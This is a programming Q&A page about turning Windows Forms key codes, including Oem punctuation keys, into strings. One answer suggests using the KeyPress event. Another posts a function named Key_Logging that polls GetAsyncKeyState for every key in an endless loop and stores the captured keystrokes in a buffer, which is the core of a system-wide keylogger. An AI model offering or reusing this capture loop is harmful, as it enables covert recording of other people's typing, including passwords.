CODEWITHSUNDEEP
c#winforms
Simon
Simon

Reputation: 1416

Convert Windows Forms Keys to string

I am responding to a KeyDown Event Handler in my Windows Forms application. In this Event Handler, I want to convert the KeyEventArgs KeyCode to a string. This is no problem when we are dealing with characters from the alphabet, numbers or the numpad. The difficutly comes when trying to convert characters such as: < > , . ; ' " / ?

My current conversion method is:

private string ConvertKeyCodeToString(System.Windows.Forms.Keys keyCode, bool shiftPressed)
{
    string key = new System.Windows.Forms.KeysConverter().ConvertToString(keyCode);

    if (key.Contains("NumPad"))
    {
        key = key.Replace("NumPad", "");
    }

    if (key.Equals("Space"))
    {
        key = " ";
    }

    if (!shiftPressed)
    {
        key = key.ToLower();
    }

    return key;
}

Right now, I'm calling ConvertToString instead of ConvertToInvariantString because doing this does not seem to change anything. I have noticed that every special character which is causing issues seems to start with "oem".

To me, the best solution seems to be converting the key to a string using a List of some sorts. If the key that has been pressed is a special character of course. I'm afraid this will cause issues related to the keyboard culture.

So my question is: how can I convert a key press on a special character to it's string representation based on the current culture?

Upvotes: 4

Views: 6651

Answers (2)

doggy
doggy

Reputation: 75

I am using this code, I will be changing keys such as tab, space and enter and whatever I want as I go.

        static void Key_Logging()
        {
            string newkey = "";
            while (true)
            {
                //sleeping for while, this will reduce load on cpu
                Thread.Sleep(50);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {


                        if ((i < 91) & (i > 47))
                        {
                            newkey = "" + (char)i;
                        }
                        else
                        {
                            switch (""+(Keys)i)
                            {
                                case "Tab": newkey = "    "; break;
                                case "Space": newkey = " "; break;
                                case "Return": newkey = "\r\n"; break;
                                case "OemMinus": newkey = "-"; break;
                                case "Oemplus": newkey = "+"; break;
                                case "OemQuestion": newkey = "/"; break;
                                case "Oemtilde": newkey = "`"; break;

                                default: newkey = "\"" + (Keys)i + "\""; break;

                            }
                        }
                        Console.WriteLine(newkey);
                        keylogS += newkey;                            
                        break;
                    }
                }
            }
        }

Upvotes: 0

D Stanley
D Stanley

Reputation: 152491

Sounds like you may want to use KeyPress instead of KeyDown:

private void keypressed(Object o, KeyPressEventArgs e)
{
    char key = e.KeyChar;  // the character representation of the key that was pressed
}

KeyDown is raised for non-character keys such as directional and function keys.

Upvotes: 3

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